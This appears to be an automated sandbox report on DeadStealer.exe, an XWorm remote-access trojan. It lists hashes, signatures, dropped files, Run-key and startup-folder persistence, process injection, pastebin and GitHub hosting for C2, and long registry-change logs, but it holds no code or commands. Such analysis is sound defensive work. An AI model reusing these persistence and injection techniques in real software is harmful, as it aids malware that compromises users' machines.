Malware Analysis Report

2024-11-30 19:35

Sample ID 240919-d92elazblq
Target DeadStealer.exe
SHA256 a4beca9447f15277f11843a2109ce49e0f4c69055e2c17ed60d59e24cefea82a
Tags
xworm agilenet discovery execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a4beca9447f15277f11843a2109ce49e0f4c69055e2c17ed60d59e24cefea82a

Threat Level: Known bad

The file DeadStealer.exe was found to be: Known bad.

Malicious Activity Summary

xworm agilenet discovery execution persistence rat trojan

Xworm

Detect Xworm Payload

Suspicious use of NtCreateUserProcessOtherParentProcess

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Obfuscated with Agile.Net obfuscator

Drops startup file

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Drops file in Windows directory

System Location Discovery: System Language Discovery

Unsigned PE

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Modifies data under HKEY_USERS

Enumerates system info in registry

Scheduled Task/Job: Scheduled Task

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious use of FindShellTrayWindow

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-19 03:43

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-19 03:43

Reported

2024-09-19 03:45

Platform

win10-20240611-en

Max time kernel

37s

Max time network

83s

Command Line

winlogon.exe

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 812 created 600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadXClient.lnk C:\Users\Public\DeadXClient.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadXClient.lnk C:\Users\Public\DeadXClient.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Public\Documents\svchost.exe N/A
N/A N/A C:\Users\Public\DeadCodeRootKit.exe N/A
N/A N/A C:\Users\Public\DeadXClient.exe N/A
N/A N/A C:\Users\Public\DeadXClient.exe N/A

Obfuscated with Agile.Net obfuscator

agilenet
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\DeadXClient = "C:\\Users\\Public\\DeadXClient.exe" C:\Users\Public\DeadXClient.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 812 set thread context of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\rescache\_merged\3720402701\1568373884.pri C:\Windows\Explorer.EXE N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\DeadCodeRootKit.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser C:\Windows\Explorer.EXE N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\1 = 7c003100000000003359951d11005075626c69630000660009000400efbe724a6fa83359951d2e000000630500000000010000000000000000003c0000000000e74449005000750062006c0069006300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003600000016000000 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:PID = "2" C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "2" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f80cb859f6720028040b29b5540cc05aab60000 C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202 C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202 C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByDirection = "1" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\NodeSlot = "4" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupView = "4294967295" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Mode = "6" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\NodeSlot = "5" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\IconSize = "48" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Sort = 0000000000000000000000000000000002000000f4eec83032a8e241ab32e3c3ca28fd29030000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000 C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3 C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic" C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 5000310000000000cc58d909100041646d696e003c0009000400efbecb5881bdcc58d9092e000000835201000000010000000000000000000000000000000a48db00410064006d0069006e00000014000000 C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:FMTID = "{30C8EEF4-A832-41E2-AB32-E3C3CA28FD29}" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668} C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = ffffffff C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "3" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193" C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616209" C:\Windows\Explorer.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 C:\Windows\Explorer.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\1\NodeSlot = "6" C:\Windows\Explorer.EXE N/A
